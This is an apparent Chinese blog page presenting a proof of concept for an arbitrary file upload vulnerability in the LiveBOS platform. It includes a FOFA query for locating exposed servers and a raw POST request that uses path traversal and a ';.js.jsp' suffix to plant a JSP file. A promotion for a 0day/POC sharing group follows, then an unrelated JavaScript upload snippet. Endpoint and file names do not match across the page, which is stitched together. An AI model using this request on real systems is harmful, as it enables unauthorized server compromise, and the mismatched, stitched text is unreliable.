LiveBOS-UploadImage.do-任意文件上传漏洞

介绍:

LiveBOS灵动业务架构平台,是面向对象的业务支撑平台与建模工具。在LiveBos的UploadImage.do接口中,发现了一处任意文件上传漏洞,攻击者可利用该漏洞上传任意文件。

fofa:

body="Power by LiveBOS"

poc:

POST /feed/UploadFile.do;.js.jsp HTTP/1.1 
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
Connection: close
 
---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data; name="file"; filename="/../../../../rce.jsp"
Content-Type: image/jpeg
 
<%@ page import="java.io.File" %>
<%
 out.println("pppppppppoooooooocccccccccccc");
 String filePath = application.getRealPath(request.getServletPath());
 new File(filePath).delete();
%>
---WebKitFormBoundaryxegqoxxi--

连接地址:/1.jsp;.js.jsp

 内部福利介绍-更新啦,网络安全百分之八十的资源都可以在这找到!涵盖了POC库、账号共享、文档库、资源网获取、会员专属群,做你的网络安全资源大全!

近期更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至9000+

图片

👇内容太多扫描二维码查看详细介绍👇

图片

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要使用JavaScript上传固定路径的图片,你可以使用`FormData`对象和`XMLHttpRequest`来完成。以下是一个示例代码: ```html <input id="uploadinput" type="file" style="display:none;"> <button onclick="uploadImage()">上传图片</button> <script> function uploadImage() { var imageFilePath = "D:\\fb\\易图助手1.16\\20230809_160403_\\11 all black 8-13\\IMG_4668 20210629-134236.jpg"; var fileInput = document.getElementById("uploadinput"); var formData = new FormData(); formData.append("image", fileInput.files[0], imageFilePath); var xhr = new XMLHttpRequest(); xhr.open("POST", "upload.php", true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { console.log("图片上传成功!"); } }; xhr.send(formData); } </script> ``` 在上述示例中,我们首先定义了一个隐藏的文件选择输入框,以及一个按钮来触发上传操作。 在JavaScript代码中,我们定义了`uploadImage()`函数,该函数会在按钮点击时被调用。在函数内部,我们指定了要上传的图片的固定路径(`imageFilePath`)。 然后,我们获取文件选择输入框(`fileInput`)和创建一个`FormData`对象(`formData`)。我们将固定路径的图片添加到`formData`中,并将其命名为`image`。 接下来,我们创建一个`XMLHttpRequest`对象(`xhr`),并通过`open()`方法指定请求的方法、URL和异步标志。在`onreadystatechange`事件中,我们检查响应的状态和状态码,如果上传成功,则在控制台输出成功信息。 最后,我们通过`send()`方法发送包含图片的`formData`对象。 请注意,由于安全性限制,JavaScript无法直接访问用户的文件系统,因此你需要手动将图片路径指定为一个固定的路径。另外,你需要在服务器端(如`upload.php`)接收并处理上传的图片。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值